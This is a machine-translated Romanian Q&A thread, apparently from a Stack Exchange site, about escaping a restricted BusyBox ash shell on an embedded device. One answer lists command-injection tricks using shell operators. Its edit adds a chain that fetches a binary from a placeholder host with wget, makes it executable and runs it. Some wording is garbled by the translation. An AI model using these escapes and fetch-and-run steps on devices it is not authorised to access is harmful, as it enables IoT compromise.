Testez un dispozitiv încorporat și lipsesc documentația. Când fac telnet pe dispozitiv, obțin doar shell limitat.
BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait
Acesta este un shell limitat, nu este clar, cum să intrați în shell-ul complet?
Răspuns
- Comanda de care aveți nevoie este
chsh
(modificați shell-ul) – aceasta face parte dinshadow
saushadow-utils
pachet. -
De asemenea, puteți edita manual
/etc/password
pentru a schimba shell-ul din/bin/ash
la altceva:BUT => fii foarte atent ca noul shell să existe sau vei bloca afară de tine !!!
Va trebui să fii root
a face oricare dintre cele de mai sus.
Răspuns
BusyBox se concentrează în principal pe optimizarea dimensiunii și comenzile ar putea fi exc jucat / inclus în timpul compilării. Deci, fără a furniza informații suplimentare, pare a fi un set foarte limitat de componente instalate .
Cu toate acestea, ar trebui să fie clar că acest lucru nu înseamnă că firmware-ul dispozitivului nu acceptă utilități specifice în sine. Dacă acest lucru nu este clar, ar trebui să aruncați o privire la secțiunea FAQ – Ce este Busybox . Unele citări trebuie să clarifice acest lucru:
„Pot activa FTP?” – „Nu știm dacă firmware-ul Foomatic-9000 vine cu Busybox binar cu applet ftpd activat. (Dacă aveți acces la promptul shell, încercați să rulați „busybox ftpd –help”). Dacă da, probabil că îl veți putea activa. Din păcate, nu știm cum firmware-ul Foomatic-9000 gestionează pornirea și oprirea diferitelor servicii (în cazul în care acestea au deja ftpd sevice și este doar dezactivat) sau cum să creăm și să activăm un nou serviciu pe Foomatic-9000 (dacă dont). Încercați să căutați Google. „
” Pot activa SCP? ” – „Busybox-1.23.4 nu are applet scp. Cu toate acestea, Foomatic-9000 ar putea avea scp instalat (să zicem, dacă au instalat dropbear) și poate fi activat. Dacă nu, poate fi construit și instalați propriul instrument scp. Încercați să căutați Google. „
Probabil ar trebui să vă concentrați mai mult pe dispozitivul specific și pe firmware-ul instalat, decât să vă concentrați pe limitate set de componente legate de Busybox în sine.
Comentarii
- ok, ați uitat comanda cli.
Răspunde
Din păcate pentru tine, în zilele noastre majoritatea dispozitivelor încorporate (adică routere, dispozitive iot, etc.) încearcă să împiedice utilizatorii să acceseze sistemul interior, astfel încât să poată „Nu-l hack sau modificați. Aceasta este o măsură de prevenire a funcționării botnet-urilor, cum ar fi mirai, deși protecțiile nu sunt întotdeauna foarte eficiente.
Un shell de cutie ocupată limitat este un scenariu foarte obișnuit. Din fericire, vorbind în general, busybox necesită un shell subiacent dacă există ” s orice fel de interfață cu utilizatorul (cum ar fi telnet sau ssh). Aceasta înseamnă că poate fi posibil să ocoliți acel shell și să executați comenzi pe shell-ul subiacent (adică / bin / sh este foarte obișnuit).
Înainte de a încerca să scăpați de sandbox-ul ocupat, trebuie să aveți în vedere următoarele:
- Este posibil ca producătorul să fi modificat shell-ul busybox pentru a corela aceste tehnici
- Shell-ul subiacent poate fi un shell (complet sau parțial) fără privilegii. Aceasta înseamnă că, chiar dacă reușiți să rulați comenzi pe acesta, este posibil să nu funcționeze sau să vă spună că nu aveți suficiente drepturi.
- Shell-ul subiacent poate fi, de asemenea, un alt shell limitat (neobișnuit)
Odată ce sunteți gata, puteți încerca următoarele „trucuri”: (Toate se bazează pe operatori shell)
Încercați lucruri precum
echo "Hello World" & <your command>
Aceasta vă va executa comanda dacă:
- Binarul este disponibil (deci practic dacă este instalat în sistem)
- Shell-ul are acces la acesta (privilegii)
Există și alte metode precum:
echo "Hello World" `your command` echo "Hello World" || <your command>
Și alte variante puteți găsi pe internet sau încercați singur.
EDIT: Editez pentru a adăuga un exemplu despre cum puteți scăpa de shell și puteți obține o execuție suplimentară.
echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary
sau direct ./yourbinary
Aceasta este ideea. În ceea ce privește chmod, scuze, dar nu-mi amintesc argumentele exacte pentru a da permisiuni de execuție.
EDIT2: Am observat că shell-ul tău spune cenușă, așa că probabil busybox a fost executat dintr-un script (automat) care rulează din cenușă. În acest caz, doriți să executați direct comenzi pe shell-ul / bin / ash.